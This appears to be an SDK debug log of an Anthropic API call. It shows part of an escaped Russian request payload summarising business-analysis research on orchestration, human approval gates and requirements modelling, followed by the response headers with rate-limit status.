\u043e\u0441\u0438 \u00ab\u0421\u0440\u0435\u0434\u0430\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/rfc/2026-09-04-rfc-bootstrap-environment-and-structure.md)\\n   \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u00ab\u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439\u00bb, \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u00ab\u043a\u0430\u043a\u043e\u0435\\n   \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u043e\u0435 \u0437\u043d\u0430\u043d\u0438\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f\u00bb. \u0424\u043e\u0440\u043c\u0443\u043b\u0430 \u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u044b\u043c\\n   \u0441\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u043c, \u0430 \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f.\\n10. **\u0420\u043e\u0430\u0434\u043c\u0430\u043f \u043a\u0430\u0441\u043a\u0430\u0434\u0430 \u2014 15 \u0437\u0430\u0434\u0430\u0447 `B-121`\u2026`B-135`** \u0432 \u0442\u0440\u0451\u0445 \u044d\u0442\u0430\u043f\u0430\u0445 \u0441 \u0434\u0432\u0443\u043c\u044f\\n    \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u0433\u0435\u0439\u0442\u0430\u043c\u0438 \u0438 \u0434\u0432\u0443\u043c\u044f \u0437\u0430\u0434\u0430\u0447\u0430\u043c\u0438 \u0432\u043d\u0435 \u044d\u0442\u0430\u043f\u043e\u0432 (`B-134`, `B-135`); \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432\\n    [`ops/backlog.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md),\\n    \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0432\\n    [`50-open-research.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/50-open-research.md).\\n    **\u041c\u0435\u0440\u0436 PR \u043f\u043e issue #557 = \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0440\u043e\u0430\u0434\u043c\u0430\u043f\u0430** (\u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430).\\n\\n=== orchestration\\n## BLUF\\n\\n1. `M4` \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u043b\u043e\u0438 \u0437\u0430\u0434\u0430\u044e\u0442, \u043d\u043e \u043d\u0435 \u0440\u0435\u0448\u0430\u044e\u0442:\\n   **\u043a\u0430\u043a\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f, \u043f\u043e \u043a\u0430\u043a\u043e\u043c\u0443 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0443, \u0441 \u043a\u0430\u043a\u043e\u0439 \u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c\u044e \u0438 \u043a\u0442\u043e\\n   \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0440\u0435\u0448\u0435\u043d\u0438\u044f**.\\n2. \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043f\u0435\u0440\u0432\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438: \u0448\u0435\u0441\u0442\u044c \u043e\u0441\u0435\u0439 `A1`\u2013`A6` \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442\u0441\u044f\\n   \u043d\u0430 \u0433\u0435\u0439\u0442\u0435 `HG-0` \u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u043d\u044b\u043c \u043b\u0438\u0441\u0442\u043e\u043c `C-RK`.\\n3. \u041c\u0430\u0440\u0448\u0440\u0443\u0442\u043d\u044b\u0439 \u043b\u0438\u0441\u0442 \u2014 \u043d\u0435 \u043f\u043b\u0430\u043d, \u0430 **\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e**: \u043e\u043d \u0437\u0430\u0434\u0430\u0451\u0442, \u043a\u0430\u043a\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438\\n   \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b \u0438 \u043a\u0442\u043e \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043a\u0430\u0436\u0434\u044b\u043c \u0433\u0435\u0439\u0442\u043e\u043c, \u0434\u043e \u0442\u043e\u0433\u043e \u043a\u0430\u043a \u043f\u043e\u044f\u0432\u0438\u0442\u0441\u044f \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442.\\n4. \u041e\u0441\u0438 \u043d\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b: \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u0438 `C1`\u2013`C6` \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043f\u043e\u0442\u043e\u043a\u0430\\n   `F1`\u2013`F6` RFC \u0434\u0435\u043b\u0430\u044e\u0442 \u0447\u0430\u0441\u0442\u044c \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u0439 \u043d\u0435\u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0439; \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440 \u043e\u0431\u044f\u0437\u0430\u043d \u0438\u0445\\n   \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u043d\u043e.\\n5. \u041f\u0440\u0435\u0440\u044b\u0432\u0430\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u044b \u2014 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c, \u0430 \u043d\u0435 \u0441\u0431\u043e\u0439; \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u043f\u0440\u0435\u0440\u044b\u0432\u0430\u043d\u0438\u044f\\n   \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439 \u0440\u0435\u0436\u0438\u043c `manual-stepwise` \u0442\u0435\u0440\u044f\u0435\u0442 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0441\u0435\u0441\u0441\u0438\u044f\u043c\u0438.\\n6. \u041a\u043e\u0440\u043f\u0443\u0441 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u044f \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043d\u0435\u044f\u0432\u043d\u043e: \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430\\n   \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 (`stepwise` 10, `oneshot` 9, `legacy` 5) \u0438 \u0448\u0435\u0441\u0442\u044c \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u2014 \u043d\u043e\\n   \u0432\u044b\u0431\u043e\u0440 \u043d\u0438\u0433\u0434\u0435 \u043d\u0435 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0440\u0435\u0448\u0435\u043d\u0438\u0435.\\n7. `HG-8` \u2014 \u0433\u0435\u0439\u0442 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0440\u0430\u0431\u043e\u0442\u044b: \u043f\u0440\u0430\u0432\u043e \u043f\u0440\u0435\u043a\u0440\u0430\u0442\u0438\u0442\u044c, \u043d\u0435 \u0434\u043e\u0432\u043e\u0434\u044f \u0434\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438,\\n   \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u044f\u0432\u043d\u044b\u043c, \u0438\u043d\u0430\u0447\u0435 \u043a\u0430\u0436\u0434\u0430\u044f \u043d\u0430\u0447\u0430\u0442\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u043e\u0431\u044f\u0437\u0430\u043d\u0430 \u0437\u0430\u0432\u0435\u0440\u0448\u0438\u0442\u044c\u0441\u044f.\\n8. `M4` \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u043b\u043e\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u0438\u0434\u0438\u0442 \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0446\u0435\u043b\u0438\u043a\u043e\u043c, \u0438 \u043f\u043e\u0442\u043e\u043c\u0443 \u0438\u043c\u0435\u043d\u043d\u043e\\n   \u043e\u043d \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 `M3` \u0434\u0430\u043d\u043d\u044b\u0435 `ME-3`.\\n\\n=== solution-modeling\\n## BLUF\\n\\n1. **\u042f\u0434\u0440\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u2014 \u044d\u0442\u043e \u043e\u0431\u044a\u0435\u043a\u0442, \u0430 \u043d\u0435 \u0441\u0442\u0430\u0434\u0438\u044f.** `M1` \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n   `C-CORE`: \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0435, \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435, \u0430\u0434\u0440\u0435\u0441\u0443\u0435\u043c\u043e\u0435 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439\\n   \u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0438, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0437\u0430\u0442\u0435\u043c **\u043f\u043e\u0440\u043e\u0436\u0434\u0430\u044e\u0442\u0441\u044f** \u043b\u044e\u0431\u044b\u0435 \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b.\\n   \u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u0438 \u0435\u0433\u043e \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u2014\\n   [\u00a72 \u0444\u0430\u0439\u043b\u0430 10-theory.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/solution-modeling/10-theory.md#2-\u044f\u0434\u0440\u043e-\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439-\u043a\u0430\u043a-\u043e\u0431\u044a\u0435\u043a\u0442).\\n2. **\u0412 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u0442\u0430\u043a\u043e\u0433\u043e \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u043d\u0435\u0442.** \u0417\u0430\u043c\u0435\u0440 57 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432: \u043f\u0440\u043e\u0446\u0435\u0441\u0441-\u043c\u0430\u0440\u043a\u0435\u0440\\n   \u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0432 2 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u0438\u0437 57, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c 40 % \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432\u044b\u0434\u0430\u044e\u0442\\n   \u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u2014 \u0442\u043e \u0435\u0441\u0442\u044c \u0432\u0435\u0435\u0440 \u0432\u044b\u0445\u043e\u0434\u043e\u0432 \u0443\u0436\u0435 \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f, \u043d\u043e **\u0438\u0437\\n   \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u0434\u0438\u0430\u043b\u043e\u0433\u0430, \u0430 \u043d\u0435 \u0438\u0437 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u044f\u0434\u0440\u0430**\\n   ([\u043e\u0442\u0447\u0451\u0442 \u0437\u0430\u043c\u0435\u0440\u0430, \u00a73](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-08-26-rrp-full-cycle-corpus-facts.md#3-\u0444\u0430\u043a\u0442\u044b-\u043f\u043e\u0434-m1-\u044f\u0434\u0440\u043e-\u0438-\u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435)).\\n   \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043a\u043e\u0440\u043d\u0435\u0432\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u043d\u0435\u0434\u0440\u0435\u0439\u0444\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 `M2` \u043f\u043e\u0442\u043e\u043c \u0432\u044b\u043d\u0443\u0436\u0434\u0435\u043d \u043b\u043e\u0432\u0438\u0442\u044c\\n   \u043f\u043e\u0441\u0442\u0444\u0430\u043a\u0442\u0443\u043c.\\n3. **\u041c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u2260 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0439.** \u0418\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u044f \u0440\u0430\u0437\u0432\u043e\u0434\u0438\u0442\\n   \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0438 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f (BABOK Strategy Analysis vs\\n   RADD; ISO/IEC/IEEE 29148 StRS vs SyRS/SRS). \u0420\u0430\u0437\u0431\u043e\u0440 \u2014\\n   [\u00a71 \u0444\u0430\u0439\u043b\u0430 10-theory.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/solution-modeling/10-theory.md#1-conceptual-framing-\u0447\u0442\u043e-\u0442\u0430\u043a\u043e\u0435-\u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435-\u0440\u0435\u0448\u0435\u043d\u0438\u044f).\\n4. **\u041f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 `M1` \u2014 \u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0441\u0442\u044c \u044f\u0434\u0440\u0430 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0442\u0438\u043f\u0430\u043c\u0438 \u0430\u043a\u0442\u043e\u0440\u043e\u0432**, \u0430 \u043d\u0435 \u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c\\n   \u0444\u043e\u0440\u043c\u044b: \u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c \u2014 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 `M2`. \u0418\u0437 \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0439\\n   \u044f\u0434\u0440\u0430 \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u00ab\u043e\u0434\u043d\u043e \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u2014 \u043c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0439\u00bb\\n   ([\u00a74 \u0444\u0430\u0439\u043b\u0430 20-taxonomy.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/solution-modeling/20-taxonomy.md#4-\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f-d--\u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438-\u044f\u0434\u0440\u0430)).\\n5. **\u0414\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043c\u043e\u0434\u0435\u043b\u0435\u0439, \u0430 \u043d\u0435 \u00abUML \u0438\u043b\u0438 BPMN\u00bb**. \u0422\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0435\u0439\\n   \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u043e\u0442 \u0432\u043e\u043f\u0440\u043e\u0441\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0434\u0435\u043b\u044c \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 (\u0446\u0435\u043b\u044c, \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439,\\n   \u0434\u0430\u043d\u043d\u044b\u0435, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435, \u043f\u0440\u0430\u0432\u0438\u043b\u043e, \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435, \u0440\u0438\u0441\u043a, \u0432\u0430\u0440\u0438\u0430\u043d\u0442, \u043e\u0431\u044a\u0451\u043c,\\n   \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u043e\u0432\u043a\u0430), \u0430 \u043d\u0435 \u043e\u0442 \u043d\u043e\u0442\u0430\u0446\u0438\u0438 \u2014\\n   [\u00a71 \u0444\u0430\u0439\u043b\u0430 20-taxonomy.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/solution-modeling/20-taxonomy.md#1-\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f-a--\u043a\u043b\u0430\u0441\u0441\u044b-\u043c\u043e\u0434\u0435\u043b\u0435\u0439-\u0440\u0435\u0448\u0435\u043d\u0438\u044f-mo-1mo-12).\\n6. **\u0412\u043b\u0430\u0434\u0435\u043b\u0435\u0446 `HG-4` \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0441\u044c\u044e `A6`** (\u043e\u0442\u0432\u0435\u0442 \u043d\u0430 `Q-4` RFC, \u0432\u0430\u0440\u0438\u0430\u043d\u0442\\n   \u00ab\u0432\u00bb): `internal` \u2014 \u0411\u0410, `external-contract`/`regulated` \u2014 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\\n   \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f. \u041e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u043e\u0441\u0442\u044c \u2014\\n   [\u00a73 \u0444\u0430\u0439\u043b\u0430 30-decision-framework.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/solution-modeling/30-decision-framework.md#3-\u0433\u0435\u0439\u0442\u044b-m1-hg-0-hg-2-hg-3-hg-4).\\n7. **Build-vs-buy: \u044f\u0434\u0440\u043e \u043d\u0435 \u043f\u0438\u0448\u0435\u0442\u0441\u044f \u0441 \u043d\u0443\u043b\u044f.** \u0421\u043a\u0440\u0438\u043d\u0438\u043d\u0433 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e\\n   requirements-as-code \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b (StrictDoc, Doorstop, Sphinx-Needs) \u0443\u0436\u0435\\n   \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u044e\u0442 \u0430\u0434\u0440\u0435\u0441\u0443\u0435\u043c\u043e\u0441\u0442\u044c, \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u043e\u0432\u043a\u0443 `C-CORE`, \u0430 \u043e\u0431\u043c\u0435\u043d \u2014\\n   ReqIF; \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0432\u044f\u0437\u044c \u0441 \u043c\u043e\u0434\u0435\u043b\u044f\u043c\u0438 \u0438\\n   \u043c\u0443\u043b\u044c\u0442\u0438\u0430\u0443\u0434\u0438\u0442\u043e\u0440\u043d\u044b\u0435 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438\\n   ([\u00a76 \u0444\u0430\u0439\u043b\u0430 30-decision-framework.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/solution-modeling/30-decision-framework.md#6-build-vs-buy-screening)).\\n8. **Mango \u043f\u043e\u043a\u0440\u044b\u0432\u0430\u0435\u0442 6 \u0438\u0437 12 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u0438 4 \u0438\u0437 9 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u044f\u0434\u0440\u0430.**\\n   \u041c\u0430\u0442\u0440\u0438\u0446\u0430 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u044f \u0438 \u0434\u0435\u043b\u044c\u0442\u044b \u043a\u0430\u0441\u0442\u043e\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u2014\\n   [\u00a75](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/solution-modeling/40-practice-and-cases.md#5-\u043c\u0430\u0442\u0440\u0438\u0446\u0430-\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u044f-mango--\u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u044f)\\n   \u0438 [\u00a76 \u0444\u0430\u0439\u043b\u0430 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\"Linux\",\n[2026-09-29T07:46:03.432Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:03.446Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:03.449Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:03.458Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:03.468Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:03.479Z] [STDOUT]   },\n[2026-09-29T07:46:03.489Z] [STDOUT] }\n[2026-09-29T07:46:04.065Z] [STDOUT] [log_17b470, request-id: \"req_011CfXMoaw27hV5aqV5gAfCV\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 933ms\n[2026-09-29T07:46:04.078Z] [STDOUT] [log_17b470] response start {\n[2026-09-29T07:46:04.087Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:04.108Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:04.501Z] [STDOUT]   headers: {\n[2026-09-29T07:46:04.507Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:04.510Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:04.514Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:04.518Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:04.521Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:04.525Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:04.532Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:04.593Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:04.599Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:04.643Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:04.650Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:04.706Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:04.778Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:04.812Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:04.816Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:04.818Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:04.820Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:04.821Z] [STDOUT]     \"cf-ray\": \"a4295f319c3f29ad-FRA\",\n[2026-09-29T07:46:04.826Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:04.828Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:04.831Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:04.837Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:04.842Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:04 GMT\",\n[2026-09-29T07:46:04.846Z] [STDOUT]     \"request-id\": \"req_011CfXMoaw27hV5aqV5gAfCV\",\n[2026-09-29T07:46:04.856Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:04.862Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:04.863Z] [STDOUT]     traceresponse: \"00-eb52898b9fb33c29918b94463325d9a2-8ee226df2e10d435-01\",\n[2026-09-29T07:46:04.866Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:04.868Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:04.872Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:04.876Z] [STDOUT]   },\n[2026-09-29T07:46:04.881Z] [STDOUT]   durationMs: 933,\n[2026-09-29T07:46:04.886Z] [STDOUT] }\n[2026-09-29T07:46:04.897Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:04.907Z] [STDOUT]   \"date\": \"Tue, 